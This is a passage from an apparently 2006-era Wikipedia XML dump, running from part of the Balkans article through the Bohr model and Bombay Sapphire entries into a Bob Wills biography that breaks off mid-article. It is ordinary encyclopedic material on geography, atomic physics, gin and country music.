The aforementioned historical justification for the Sava-Kupa northern boundary would preclude including a big part of [[Croatia]] (whose territories were by and large part of the [[Habsburg Monarchy]] and [[Venetian Republic]] during the Ottoman conquest). Other factors such as prior history and culture also bind Croatia to Central Europe and the Mediterranean region more than they bind it to the Balkans. Nevertheless, its peculiar geographic shape inherently associates it with the region Bosnia and Herzegovina is part of, as well as the recent history with Yugoslavia etc.

===Current common definition===
[[Image:Balkans-political-map-small.png|thumb|250px|Political map in 2004]]

In most of the English-speaking, western world, the countries commonly included in the Balkan region are:
*{{ALB}}
*{{BIH}}
*{{BUL}}
*{{CRO}}
*{{GRE}}
*[[Image:Flag of Macedonia.svg| 21x16px]] [[Republic of Macedonia]]
*{{SCG}}
*{{TUR}}, but only the European part of it around [[Istanbul]] (traditionally called [[Rumelia]] or [[Eastern Thrace]])

Some other countries are sometimes included in the list as well:
*{{ROM}}
*{{SLO}}

Many regions in the countries listed as Balkan states can be in many respects rather distinct from the remainder of the region, so countries that are borderline cases (often far away from the Balkan mountain itself: Romania, Croatia, Slovenia, sometimes also Greece) usually prefer not to be called ''Balkan countries''.

===Related countries===
Other countries not included in the Balkan region that are close to it and/or play or have played an important role in the region's geopolitics, culture and history:
*[[Cyprus]] (see also [[Cyprus dispute]])
*[[Hungary]] (see also [[Austria-Hungary]])
*[[Austria]] (see also [[Austria-Hungary]], [[Assassination in Sarajevo]])
*[[Italy]] (see Croatia: [[Dalmatia]], [[Zadar|Zara]], [[Rijeka|Fiume]]; [[History of Slovenia]])
*[[Russia]] (see [[History of Serbia]])

== Nature and natural resources ==

Most of the area is covered by mountain ranges running from south-west to north-east. The main ranges are the [[Dinaric Alps]] in Slovenia, Croatia and Bosnia, the [[Sar mountain|&amp;#352;ar]] massif which spreads from Albania to Republic of Macedonia and the [[Pindus]] range, spanning from southern Albania into central Greece. In Bulgaria there are ranges running from east to west: the [[Balkan mountains]] and the [[Rhodope mountains]] at the border with Greece. The highest mountain of the region is [[Musala]] in [[Bulgaria]] at 2925 m, with [[Mount Olympus]] in Greece, the throne of Zeus, being second at 2919 m and Vihren in Bulgaria being the third at 2914.

On the coasts the climate is [[Mediterranean climate|Mediterranean]], in the inland it is moderate [[continental climate|continental]]. In the northern part of the peninsula and on the mountains, winters are frosty and snowy, while summers are hot and dry. In the southern part winters are milder.

During the centuries many woods have been cut down and replaced with bush and brush. In the southern part and on the coast there is evergreen vegetation. In the inland there are woods typical of [[Central Europe]] ([[oak]] and [[beech]], and in the mountains, [[spruce]], [[fir]] and [[pine]]). The [[tree-line]] in the mountains lies at the height of 1800-2300 m.

The soils are generally poor, except on the plains where areas with natural grass, fertile soils and warm summers provide an opportunity for tillage. Elsewhere, land cultivation is mostly unsuccessful because of the mountains, hot summers and poor soils, although certain cultures such as [[olive]]s and [[grape]]s flourish.

Resources of energy are scarce. There are some deposits of [[coal]], especially in Romania, Bulgaria, Serbia and Bosnia. [[Lignite]] deposits are widespread in Greece. [[Petroleum]] is most notably present in Romania, although scarce reserves exist in Greece, Serbia, Albania and Croatia. [[Natural gas]] deposits are scarce. Hydropower stations are largely used in energetics.

Metal ores are more usual than other raw materials. Iron ore is rare but in some countries there is a considerable amount of [[copper]], [[zinc]], [[tin]], [[chromite]], [[manganese]], [[magnesite]] and [[bauxite]]. Some metals are exported.

== History and geopolitical significance == 
:''Main article: [[History of the Balkans]]''

The Balkan region was the first area of Europe to experience the arrival of [[farming]] cultures in the [[Neolithic]] era.  The practices of growing grain and raising livestock arrived in the Balkans from the [[Fertile Crescent]] by way of [[Anatolia]], and spread west and north into [[Pannonia]] and [[Central Europe]].  

In pre-classical and [[classical antiquity]], this region was home to [[Greeks]], [[Illyrians]], [[Paeonians]], [[Thracians]], and other ancient groups. Later the [[Roman Empire]] conquered most of the region and spread Roman culture and the [[Latin]] language but significant parts still remained under [[Ancient Greece|classical Greek]] influence. During the [[Middle Ages]], the Balkans became the stage for a series of wars between the [[Greek Byzantine Empire|Byzantine]], [[History of Bulgaria|Bulgarian]] and [[Serbian Empire|Serbian]] Empires.

By the end of the [[16th century]], the [[Ottoman Empire]] became the controlling force in the region, although it was centered around Anatolia. In the past 550 years, because of the frequent [[Ottoman wars in Europe]] fought in and around the Balkans, and the comparative Ottoman isolation from the mainstream of economic advance (reflecting the shift of Europe's commercial and political centre of gravity towards the [[Atlantic Ocean|Atlantic]]), the Balkans has been the least developed part of Europe.

The Balkan nations began to regain their independence in the [[19th century]](Greece), and in [[1912]]-[[1913]] a [[Balkan League]] reduced Turkey's territory to its present extent in the [[Balkan Wars]]. The [[World War I|First World War]] was sparked in [[1914]] by the [[assassination in Sarajevo]] (the capital of [[Bosnia and Herzegovina]]) of the [[Archduke Franz Ferdinand of Austria]].

After the [[World War II|Second World War]], the [[Soviet Union]] and [[communism]] played a very important role in the Balkans. During the [[Cold War]], most of the countries in the Balkans were ruled by Soviet-supported communist governments.

However, despite being under communist governments, [[Socialist Federal Republic of Yugoslavia|Yugoslavia]] ([[1948]]) and [[Albania]] ([[1961]]) fell out with the Soviet Union. Yugoslavia, led by marshal [[Josip Broz Tito]] ([[1892]]&amp;#8211;[[1980]]), first propped up then rejected the idea of merging with [[Bulgaria]], and instead sought closer relations with the [[Western World|West]], later even joining many [[third world]] countries in the [[Non-Aligned Movement]]. Albania on the other hand gravitated toward [[People's Republic of China|Communist China]], later adopting an [[Isolationism|isolationist]] position.

The only non-communist countries were [[Greece]] and [[Turkey]], which were (and still are) part of [[NATO]].

In the [[1990s]], the region was gravely affected by [[Yugoslav wars|armed conflict in the former Yugoslav republics]], resulting in [[intervention]] by [[North Atlantic Treaty Organization|NATO]] forces in [[Bosnia and Herzegovina]], [[Kosovo]] and the [[Republic of Macedonia]]. The status of [[Kosovo]] and [[Albanians|ethnic Albanian]]s in general is still mostly unresolved.

Balkan countries control the direct [[European route|land routes]] between [[Western Europe]] and South West [[Asia]] ([[Asia Minor]] and the [[Middle East]]). Since [[2000]], all Balkan countries are friendly towards the [[EU]] and the [[United States|USA]].

[[Greece]] has been a member of the [[European Union]] since [[1981]]; [[Slovenia]] and [[Cyprus]] since [[2004]]. [[Bulgaria]] and [[Romania]] are set to become members in [[2007]]. In [[2005]] [[Croatia]], [[Turkey]] and the [[Republic of Macedonia]] were accepted as candidates for the European Union membership and the accession negotiations could begin. As of 2004, [[Bulgaria]], [[Romania]] and [[Slovenia]] are also members of [[NATO]].

All other countries have expressed a desire to join the EU but at some date in the future.

== Population composition by nationality and religion ==

The region's principal nationalities include [[Turkish people|Turks]] (12.3 million, 11 million of them inhabiting Turkish [[Thrace]]), [[Greeks]] (10.5 million, with about 10 million of them being in Greece), [[Serbs]] (8.5 million), [[Bulgarians]] (7.5 million), [[Albanians]] (6 million, with about 3.3 millions of them being in [[Albania]]), [[Croats]] (4.5 million), [[Bosniaks]] (2.4 million), [[Macedonian Slavs]] (1.4 million) and [[Montenegrins]] (0.265 million). If Romania and Slovenia are included, then also [[Romanians]] (26 million) and [[Slovenians]] (2 million). Practically all Balkan countries have a smaller or larger [[Roma (people)|Roma]] (Gypsy) minority. Other much smaller stateless minorities include the [[Gagauz]], the [[Gorani (Kosovo)|Gorani]], the [[Karakachans]], the [[Arvanites]] and the [[Aromanians]].

The region's principal religions are ([[Eastern Orthodoxy|Eastern Orthodox]] and [[Catholicism|Catholic]]) [[Christianity]] and [[Islam]]. A variety of different traditions of each faith are practiced, with each of the Eastern Orthodox countries having its own national church.

[[Eastern Orthodoxy]] is the principal religion in the following countries:
*Bulgaria
*Greece
*Romania
*Serbia and Montenegro
*Macedonia

[[Catholicism]] is the principal religion in the following countries:
*Croatia
*Slovenia

[[Islam]] is the principal religion in the following countries:
*Albania
*Turkey

Following countries have many religious groups which exceed 10% of the total population:
*Albania: Islam, Eastern Orthodoxy, Catholicism.
*Bosnia and Herzegovina: Islam, Eastern Orthodoxy, Catholicism.
*Bulgaria: Eastern Orthodoxy, Islam.
*Republic of Macedonia: Slavic population is mostly Eastern Orthodox, Albanian population is mostly Muslim.
*Serbia and Montenegro: Eastern Orthodoxy, Islam.

For more detailed information and a precise ethnic breakdown see articles about particular states:
* [[Albania]], [[Demographics of Albania]]
* [[Croatia]], [[Demographics of Croatia]]
* [[Bosnia and Herzegovina]], [[Demographics of Bosnia and Herzegovina]]
* [[Bulgaria]], [[Demographics of Bulgaria]]
* [[Greece]], [[Demographics of Greece]]
* [[Republic of Macedonia]], [[Demographics of the Republic of Macedonia]]
* [[Serbia and Montenegro]], [[Demographics of Serbia and Montenegro]]
* [[Turkey]], [[Demographics of Turkey]]

== See also ==
*[[History of the Balkans]]
**[[Historical regions of the Balkan Peninsula]]
**[[Balkan wars]]
*[[Balkan languages]]
**[[Balkan linguistic union]]
*[[Balkanization]]
*[[Orient Express]]
*[[Music of Southeastern Europe]]
*[[Serbian Genealogical Society]]

== External links ==
{{commons|Balkans}}
* [http://www.balkanforums.com/ Balkan Forums]- Online Balkan Community
* [http://www.burek.co.yu Burek Forum] The Biggest forum in region
* [http://www.boeckler.de/cps/rde/xchg/SID-3D0AB75D-EE15F528/hbs/hs.xsl/179.html South-East Europe Review]
* [http://www.balkanalysis.com/ Balkanalysis.com]
* [http://www.lib.msu.edu/sowards/balkan/ Balkan History by Steven W. Sowards]
* [http://www.civilitasresearch.org/ Civilitas Research]
* [http://www.rferl.org/balkan-report/ Radio Free Europe/Radio Liberty Balkan Weekly Report]
* [http://www.seeurope.net/ SEEurope.net] - news coverage on Southeastern Europe
* [http://www.balkantimes.com/ Southeast European Times]
* [http://www.csees.net/ The Centre for South East European Studies]
* [http://www.eia.doe.gov/emeu/cabs/balkans.html Balkans region: Oil and Gas Fact Sheet] - [[United States Department of Energy]] Analysis Brief
* [http://news.bbc.co.uk/1/hi/world/europe/4397497.stm Balkans urged to curb trafficking - BBC]
* [http://www.balkanbaby.blogspot.com/ Balkan Baby: English Language blog about a students real experiences in the Balkans]

{{Region}}

[[Category:Balkans| ]]
[[Category:Balkan cuisine| ]]

[[ar:بلقان]]
[[ast:Balcanes]]
[[bg:Балкански полуостров]]
[[bs:Balkan]]
[[ca:Balcans]]
[[cs:Balkán]]
[[da:Balkan]]
[[de:Balkanhalbinsel]]
[[et:Balkani poolsaar]]
[[el:Βαλκάνια]]
[[es:Península Balcánica]]
[[eo:Balkana Duoninsulo]]
[[fa:بالکان]]
[[fr:Balkans]]
[[gl:Balcáns]]
[[ko:발칸 반도]]
[[hr:Balkan]]
[[id:Balkan]]
[[is:Balkanskaginn]]
[[it:Penisola balcanica]]
[[he:חבל הבלקן]]
[[la:Balcania]]
[[lt:Balkanai]]
[[hu:Balkán]]
[[mk:Балкански Полуостров]]
[[nl:Balkan (schiereiland)]]
[[ja:バルカン半島]]
[[no:Balkan]]
[[pl:Półwysep Bałkański]]
[[pt:Bálcãs]]
[[ro:Balcani]]
[[ru:Балканский полуостров]]
[[simple:Balkans]]
[[sk:Balkánsky polostrov]]
[[sl:Balkan]]
[[sr:Балкан]]
[[fi:Balkan]]
[[sv:Balkanhalvön]]
[[th:คาบสมุทรบอลข่าน]]
[[zh:巴尔干半岛]]</text>
    </revision>
  </page>
  <page>
    <title>Bohr Model</title>
    <id>4830</id>
    <revision>
      <id>15903082</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Bohr model]]
</text>
    </revision>
  </page>
  <page>
    <title>Bohr model</title>
    <id>4831</id>
    <revision>
      <id>40293025</id>
      <timestamp>2006-02-19T16:11:52Z</timestamp>
      <contributor>
        <username>Localzuk</username>
        <id>687650</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] migrate {{[[template:book reference|book reference]]}} to {{[[template:cite book|cite book]]}}</comment>
      <text xml:space="preserve">[[Image:Bohratommodel.png|thumb|307px|The Bohr model of the atom]] In [[atomic physics]], the '''Bohr model''' depicts the [[atom]] as a small, positively charged [[atomic nucleus|nucleus]] surrounded by [[electron]]s in orbit - similar in structure to the [[solar system]], but with [[electrostatic force]]s providing attraction, rather than [[gravity]]. Its key success was in explaining the [[Rydberg formula]] for the spectral [[emission line]]s of atomic [[hydrogen]]; while the Rydberg formula had been known experimentally, it did not gain a theoretical underpinning until the Bohr model was introduced. The Bohr model is not a complete model of the atom, and fails to explain many of the finer structures seen in atoms. As a theory, it has been replaced by [[quantum mechanics]], and thus may be considered to be an [[obsolete scientific theory]]. However, because of its simplicity, the Bohr model is still commonly taught to introduce students to quantum mechanics.

==History==
In the early part of the 20th century, experiments by [[Ernest Rutherford]] and others had established that [[atom|atoms]] consisted of a diffuse cloud of negatively charged [[electron|electrons]] surrounding a small, dense, positively charged nucleus.  Given this experimental data, it is quite natural to consider a planetary model for the atom, with electrons orbiting a sun-like nucleus.  However, a naive planetary model has several difficulties, the most serious of which is the loss of energy by [[synchrotron radiation]]. That is, an accelerating [[electric charge]] emits [[electromagnetic wave]]s which carry [[energy]]; thus, with each orbit around the nucleus, the electron would radiate away a bit of its orbital energy, gradually spiralling inwards to the nucleus until the atom was no more. A quick calculation shows that this would happen almost instantly; thus, the naive planetary theory cannot explain why atoms are extremely long-lived.

The naive planetary model also failed to explain [[emission line|atomic spectra]], the observed discrete spectrum of light emitted by electrically excited atoms.  Late [[19th century]] experiments with [[electric discharge]]s through various low-pressure [[gas]]ses in evacuated glass tubes had shown that atoms will emit light (that is, electromagnetic radiation), but only at certain discrete frequencies.  A naive planetary model cannot explain this.

To overcome these difficulties, [[Niels Bohr]] proposed, in [[1913]], what is now called the '''Bohr model of the atom'''. The key ideas were: 

* (1) The orbiting electrons existed in orbits that had discrete [[Quantization (physics)|quantized]] energies. That is, not every orbit is possible but only certain specific ones.

* (2) The laws of [[classical mechanics]] do not apply when electrons make the jump from one allowed orbit to another.

* (3) When an electron makes a jump from one orbit to another the energy difference is carried off (or supplied) by a single quantum of light (called a [[photon]]) which has an energy equal to the energy difference between the two orbitals. 

* (4) The allowed orbits depend on quantized (discrete) values of orbital [[angular momentum]], ''L'' according to the equation
:: &lt;math&gt; \mathbf{L} = n \cdot \hbar = n \cdot {h \over 2\pi} &lt;/math&gt;

: Where ''n'' = 1,2,3,&amp;hellip; and is called the [[principal quantum number]], and ''h'' is [[Planck's constant]].

Assumption (4) states that the lowest value of ''n'' is 1. This corresponds to a smallest possible radius of 0.0529 nm. This is known as the [[Bohr radius]]. Once an electron is in this lowest orbit, it can get no closer to the proton.

The Bohr model is sometimes known as the '''semiclassical model of the atom''', as it adds some primitive quantization conditions to what is otherwise a [[classical mechanics]] treatment. The Bohr model is certainly not a full quantum mechanical description of the atom. Assumption 2) states that the laws of classical mechanics don't apply during a [[quantum jump]], but it doesn't state what laws should replace classical mechanics. Assumption 4) states that angular momentum is quantised but does not explain why.

==Refinements==
Several enhancements to the Bohr model were proposed; most notably the '''Sommerfeld model''' or '''Bohr-Sommerfeld model''', which attempted to add support for elliptical orbits to the Bohr model's circular orbits. This model supplemented condition (4) with an additional radial quantization condition, the '''Sommerfeld-Wilson quantization condition'''

:&lt;math&gt;\oint p dq = nh&lt;/math&gt;

where ''p'' is the [[generalized momentum]] conjugate to the radial [[generalized coordinate]] ''q''.  

The Bohr-Sommerfeld model proved to be extremely difficult and unwieldy when its mathematical treatment was further fleshed out. In particular, the application of traditional [[perturbation theory]] from classical [[planetary mechanics]] lead to further confusions and difficulties.  In the end, the model was abandoned in favour of the full [[quantum mechanics|quantum mechanical]] treatment of the [[hydrogen atom]], in [[1925]], using [[Schroedinger]]'s [[wave mechanics]]. 

However, this is not to say that the Bohr model was without its successes. Calculations based on the Bohr-Sommerfeld model were able to accurately explain a number of more complex atomic spectral effects. For example, up to first-order [[perturbation theory|perturbation]], the Bohr model and quantum mechanics make the same predictions for the spectral line splitting in the [[Stark effect]]. At higher-order perturbations, however, the Bohr model and quantum mechanics differ, and measurements of the Stark effect under high field strengths helped confirm the correctness of quantum mechanics over the Bohr model.
 
The Bohr model does make accurate predictions that fit well with experimental data, using, at its core, only a simple set of assumptions.  However, it is not a complete picture, just an aid to understanding. Atoms are not really little solar systems.

== Electron energy levels in hydrogen ==

The Bohr model is accurate only for one-electron systems such as the [[hydrogen atom]] or singly-ionized [[helium]]. This section uses the Bohr model to derive the energy levels of hydrogen.

The derivation starts with three simple assumptions:

:1) All particles are wavelike, and an electron's wavelength &lt;math&gt;\lambda&lt;/math&gt;, is related to its velocity ''v'' by:
:::&lt;math&gt;\lambda = \frac{h}{m_e v}&lt;/math&gt;
::where ''h'' is [[Planck's Constant]], and &lt;math&gt;m_e&lt;/math&gt; is the mass of the electron. Bohr did not make this assumption (known as the [[de Broglie hypothesis]]) in his original derivation, because it hadn't been proposed at the time. However it allows the following intuitive statement.
:2) The circumference of the electron's orbit must be an integer multiple of its wavelength:
:::&lt;math&gt;2 \pi r = n \lambda \,&lt;/math&gt; 
::where ''r'' is the radius of the electron's orbit, and ''n'' is a positive integer.
:3) The electron is held in orbit by the [[Coulomb's law|coulomb force]].  That is, the coulomb force is equal to the [[centripetal force]]:
:::&lt;math&gt;\frac{kq_e^2}{r^2} = \frac{m_e v^2}{r} \,&lt;/math&gt; 
::where &lt;math&gt;k = 1 / {4 \pi \epsilon _0}&lt;/math&gt;, and &lt;math&gt;q_e&lt;/math&gt; is the charge of the electron.

These are three equations with three unknowns: &lt;math&gt;\lambda&lt;/math&gt;, ''r'', ''v''.  After solving this system of equations to find an equation for just ''v'', it is placed into the equation for the total energy of the electron: 
::{|
|-
|&lt;math&gt;E \,&lt;/math&gt;
|&lt;math&gt;=E_{kinetic} + E_{potential} \,&lt;/math&gt;
|-
|
|&lt;math&gt;= \begin{matrix} \frac{1}{2} \end{matrix}m_e v^2 - \frac{k q_e^2}{r}&lt;/math&gt;
|}
Because of the [[virial theorem]], the total energy simplifies to
::&lt;math&gt;E = -\begin{matrix} \frac{1}{2} \end{matrix}m_e v^2 &lt;/math&gt;

Substituting, one obtains the energy of the different levels of hydrogen:
::{|
|&lt;math&gt;E _n \,&lt;/math&gt;
|&lt;math&gt;= -2 \pi^2 k^2 \left( \frac{m_e q_e^4}{h^2} \right) \frac{1}{n^2} \,&lt;/math&gt;
|-
|
|&lt;math&gt;= \frac{-m_e q_e^4}{8 h^2 \epsilon_{0}^2} \frac{1}{n^2} \,&lt;/math&gt;
|}

Or, after plugging in values for the constants,
::{|cellpadding=&quot;2&quot; style=&quot;border:2px solid #ccccff&quot;
|&lt;math&gt;E_n = \frac{-13.6 \ \mathbf{eV}}{n^2} \,&lt;/math&gt;
|}

Thus, the lowest energy level of hydrogen (''n'' = 1) is about -13.6 [[electronvolt|eV]].  The next energy level (''n'' = 2) is -3.4 eV.  The third (''n'' = 3) is -1.51 eV, and so on. Note that these energies are less than zero, meaning that the electron is in a bound state with the proton. Positive energy states correspond to the [[ionization|ionized]] atom where the electron is no longer bound, but is in a [[scattering theory|scattering state]].

===Energy in terms of other constants===
Starting with what we found above,
:&lt;math&gt;E_n = \frac{-m_e q_e^4}{8 h^2 \epsilon_{0}^2} \frac{1}{n^2} \,&lt;/math&gt;
We can multiply top and bottom by &lt;math&gt;c^2&lt;/math&gt;, and we'll arrive at
:&lt;math&gt;E_n = \frac{-m_e c^2 q_e^4}{8 h^2 c^2 \epsilon_{0}^2} \frac{1}{n^2} \,&lt;/math&gt;

From here we can now write the energy level equation in terms of other constants to:

:&lt;math&gt;E_n = \frac{-E_r\alpha^2}{2n^2}&lt;/math&gt;

where,

:&lt;math&gt;E_n \ &lt;/math&gt; is the [[energy level]]
:&lt;math&gt;E_r \ &lt;/math&gt; is the [[rest energy]] of the [[electron]]
:&lt;math&gt;\alpha \ &lt;/math&gt; is the [[fine structure constant]]
:&lt;math&gt;n \ &lt;/math&gt; is the [[principal quantum number]].

==Rydberg Formula==
The [[Rydberg formula]] describes the transitions or [[quantum jump]]s between one energy level and another. When the electron moves from one energy level to another, a [[photon]] is given off. Using the derived formula for the different 'energy' levels of hydrogen one may determine the 'wavelengths' of light that a hydrogen atom can give off.

The energy of photons that a hydrogen atom can give off are given by the difference of two hydrogen energy levels:
::&lt;math&gt;E=E_i-E_f=\frac{m_e e^4}{8 h^2 \epsilon_{0}^2} \left( \frac{1}{n_{f}^2} - \frac{1}{n_{i}^2} \right) \,&lt;/math&gt;
:where &lt;math&gt;n_f&lt;/math&gt; means the final energy level, and &lt;math&gt;n_i&lt;/math&gt; means the initial energy level. It is assumed that the final energy level is less than the initial energy level.

Since the energy of a [[photon]] is
::&lt;math&gt;E=\frac{hc}{\lambda} \,&lt;/math&gt;

the wavelength of the photon given off is
::&lt;math&gt;\frac{1}{\lambda}=\frac{m_e e^4}{8 c h^3 \epsilon_{0}^2} \left( \frac{1}{n_{f}^2} - \frac{1}{n_{i}^2} \right) \,&lt;/math&gt;

The above is known as the [[Rydberg formula]].  This formula was known in the nineteenth century to scientists studying [[spectroscopy]], but there was no theoretical justification for the formula until Bohr derived it, more or less along the lines above.

==Shortcomings==

The Bohr model gives an incorrect value &lt;math&gt; \mathbf{L} = \hbar  &lt;/math&gt; for the ground state orbital angular momentum.  The angular momentum in the true ground state is known to be zero. 
 
The Bohr model also has difficulty with or fails to explain:
* The spectra of larger atoms. At best, it can make some approximate predictions about the emission spectra for atoms with a single outer-shell electron (atoms in the [[lithium]] group.)
* The relative intensities of spectral lines; although in some simple cases, it was able to provide reasonable estimates (for example, calculations by Kramers for the [[Stark effect]]).
* The existence of [[fine structure]] and [[hyperfine structure]] in spectral lines.
* The [[Zeeman effect]] - changes in spectral lines due to external [[magnetic field]]s.

==See also==
*[[Franck-Hertz experiment]] provided early support for the Bohr model.
*[[Inert pair effect]] is adequately explained by means of the Bohr model.
*[[Lyman series]]
*[[Schrödinger equation]]

==References==
===Historical===
*{{cite journal | author=Niels Bohr | title=[http://dbhs.wvusd.k12.ca.us/webdocs/Chem-History/Bohr/Bohr-1913a.html On the Constitution of Atoms and Molecules (Part 1 of 3)] | journal=Philosophical Magazine | year=1913 | volume=26 | pages=1-25}}
*{{cite journal | author=Niels Bohr | title=On the Constitution of Atoms and Molecules, Part II Systems Containing Only a Single Nucleus | journal=Philosophical Magazine | year=1913 | volume=26 | pages=476-502}}
*{{cite journal | author=Niels Bohr | title=On the Constitution of Atoms and Molecules, Part III | journal=Philosophical Magazine | year=1913 | volume=26 | pages=857-875}}
*{{cite journal | author=Niels Bohr | title=The spectra of helium and hydrogen | journal=Nature | year=1914 | volume=92 | pages=231-232}}
*{{cite journal | author=Niels Bohr | title=[http://dbhs.wvusd.k12.ca.us/webdocs/Chem-History/Bohr-Nature-1921.html Atomic Structure] | journal=Nature | year=1921 | volume= | pages=}}

===Modern===
*{{cite book | author=Paul Tipler and Ralph Llewellyn | title=Modern Physics (4th ed.) | publisher=W. H. Freeman | year=2002 | id=ISBN 0716743450}}

[[Category:Atomic physics]]
[[Category:Foundational quantum physics]]
[[Category:Obsolete scientific theories]]

[[ar:نموذج بور]]
[[da:Atommodel (Bohr)]]
[[de:Bohrsches Atommodell]]
[[es:Modelo atómico de Bohr]]
[[fa:مدل بور]]
[[fr:Modèle de Bohr]]
[[it:Modello atomico di Bohr]]
[[he:המודל הפלנטרי]]
[[lv:Bora atoma struktūras modelis]]
[[hu:Bohr-féle atommodell]]
[[nl:Atoommodel van Bohr]]
[[nn:Atommodell]]
[[pl:Model atomu Bohra]]
[[fi:Bohrin malli]]
[[sv:Bohrs atommodell]]
[[zh:玻尔模型]]</text>
    </revision>
  </page>
  <page>
    <title>Bombay Sapphire</title>
    <id>4832</id>
    <revision>
      <id>37540320</id>
      <timestamp>2006-01-31T17:38:40Z</timestamp>
      <contributor>
        <username>Zoicon5</username>
        <id>15789</id>
      </contributor>
      <minor />
      <comment>Disambiguation from [[Martini]] to [[Martini cocktail]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[Image:Bombay-sapphire.jpg|thumb|100px|A bottle of Bombay Sapphire brand [[gin]] which has been partially consumed.]]

'''Bombay Sapphire''' is a brand of [[gin]] distributed by [[Bacardi]], launched in 1987. The name hints at the origins of gin's popularity in the [[British Raj]]. During their administration, the British took [[quinine]] in the form of [[tonic water]] to protect against [[malaria]]. This was mixed with gin in order to make a more pleasing and sociable drink of this medical necessity.

In addition to its roots, the brand is distinctive because of the ingredients and [[distillation]] process used in the manufacture of the product. The flavoring comes from a recipe of ten ingredients: [[almond]], [[lemon]] peel, [[liquorice]], [[juniper]] berries, [[orris root]], [[angelica]], [[coriander]], [[cassia]], [[cubeb]], and [[Aframomum melegueta|grains of paradise]]. Instead of distilling a mixture of the grain spirit and flavouring components as is normal, the spirit is distilled, and the alcohol vapours are passed through bundles of the herbs and spices in order to gain flavour and aroma.

Bombay Sapphire is marketed in a flat-sided, sapphire-coloured bottle that bears a likeness of [[Victoria of the United Kingdom|Queen Victoria]] on the label.

Bombay Sapphire is popular as the main ingredient in a dry [[Martini cocktail|martini]].

== External links ==

*[http://www.bombaysapphire.com/ Bombay Sapphire Homepage]

[[Category:Gins]]

[[ja:ボンベイ・サファイア]]
[[no:Bombay Sapphire]]</text>
    </revision>
  </page>
  <page>
    <title>Bob Wills</title>
    <id>4833</id>
    <revision>
      <id>41115024</id>
      <timestamp>2006-02-25T03:37:00Z</timestamp>
      <contributor>
        <ip>129.118.11.8</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Bob Wills.jpg|right|thumb|240px]]
'''James Robert (Bob) Wills''' ([[March 6]], [[1905]] &amp;ndash; [[May 13]], [[1975]]) was an [[United States|American]] [[country music]]ian and [[songwriter]].

He was born near [[Kosse, Texas]]; his father was a [[fiddle]] player who along with his grandfather, taught the young Wills to play the fiddle and the [[mandolin]]. In his 20s &quot;Jim Rob&quot; attended barber school, got married, and moved to [[Turkey, Texas]], to be a barber. He regularly entered fiddle contests in West Texas, [[New Mexico]] and [[Oklahoma]] and soon the fiddle had replaced the [[scissors]] in the young Wills' imagination. He headed to Fort Worth to pursue a career in music.  It was there that while performing in a [[medicine show]], the show's owner gave him the nickname &quot;Bob.&quot;

In [[Fort Worth, Texas|Fort Worth]] Wills met Herman Arnspinger and formed The Wills Fiddle Band. In 1930 [[Milton Brown]] joined the group as lead vocalist and brought a sense of innovation and experimentation to the band, now called the [[Light Crust Doughboys]] due to radio sponsorship by the makers of Light Crust Flour. Brown left the band in 1932 to form the Musical Brownies, the first true Western Swing band. Brown added twin fiddles, tenor [[banjo]] and slap bass, pointing the music in the direction of swing, which they played on local [[radio]] and at [[dancehalls]].

Wills remained with the Doughboys and replaced Brown with new singer [[Tommy Duncan]].  Unable to work with W. Lee O'Daniel, the authoratarian host of the Light Crust Doughboy radio show and General Manager of the parent, Burrus Mill and Elevator Company, Wills and Duncan left the Doughboys in 1933.

After forming a new band, &quot;The Playboys&quot; and relocating to [[Waco, Texas|Waco]], Wills found enough popularity there to decide on a bigger market. They left Waco in January of 1934 for [[Oklahoma City]]. Wills soon settled the renamed &quot;Texas Playboys&quot; in [[Tulsa, Oklahoma]], and began broadcasting noontime shows over the 50,000 watt KVOO [[radio station]]. Their 12:30-1:15 Monday-Friday broadcasts became a veritable institution in the region. By 1935 Wills had added [[horn section|horn]], [[reed]] players and [[drums]] to the Playboys. The addition of [[steel guitar]] whiz Leon McAuliffe in March, [[1935]] added not only a formidable instrumentalist but a second engaging vocalist. Wills himself largely sang [[blues]] and sentimental [[ballads]].

With its [[jazz]] sophistication, pop music and [[blues]] influence, plus improvised [[scats]] and [[wisecrack]] commentary by Wills (something he learned clowning in medicine shows), the band became the first [[superstar]]s of the genre. In 1940 &quot;[[New San Antonio Rose]]&quot; sold a million records and became the [[signature song]] of The Texas Playboys. The song's title referred to the fact that Wills had recorded it as a fiddle instrumental in 1938 as &quot;San Antonio Rose&quot;.  By then, the Texas Playboys were virtually two bands: one a fiddle-guitar-steel band with rhythm section and the second a first-rate big band able to play the day's [[swing]] and [[pop music |pop]] hits as well as [[Dixieland]].  Despite losing various members to the [[World War II]] draft, Wills kept the [[big band]] until late 1942.

By the fall of 1943, after a brief, unpleasant stint in the [[U.S. Army]], Bob Wills had moved to Sacramento with a reorganized, downsized Texas Playboys. He became an enormous draw in [[Los Angeles]], where many of his [[Texas]], Oklahoma and regional fans had relocated during World War II.  

He commanded enormous fees playing dances there, and began to make more creative use of electric guitars to replace the big horn sections the Tulsa band had boasted.  In 1944 on a rare cross-country tour, he appeared on the Grand Ole Opry and defied that conservative show's ban on drums onstage. By 1945 he was working from Fresno, [[California]] then in 1947 he opened the Wills Point nightclub in Sacramento and continued touring the Southwest and Pacific Northwest from Texas to Washington State.

During the postwar period, KGO radio in San Francisco syndicated a [[Bob Wills &amp; His Texas Playboys]] show recorded at the Fairmont Hotel.  Many of these recordings survive today as the Tiffany Transcriptions, and are available on [[Compact disc|CD]].  They show the band's strengths off significantly, with superb instrumental work from fiddlers Joe Holley and Jesse Ashlock, steel guitarists Noel Boggs and Herb Remington, guitarists Eldon Shamblin and Junior Barnard and electric mandolinist-fiddler Tiny Moore.

A binge drinker, Wills became increasingly unreliable in the late 1940s, causing a rift with Tommy Duncan that ended when he fired Duncan in the fall of 1948.  Having lived a lavish lifestyle, in 
1949 Wills moved back to Oklahoma City, then went back on the road to maintain his payroll and Wills Point.  An even more disastrous business decision came when he opened a second club, the Bob Wills Ranch House in [[Dallas, Texas]].  Turning the club over to what was later revealed as dishonest managers left Wills in desperate financial straits with heavy debts to the [[Internal Revenue Service|IRS]] for back [[tax|taxes]] that caused him to sell many assets including, mistakenly, the rights to &quot;New San Antonio Rose.&quot;  It wrecked him financially.

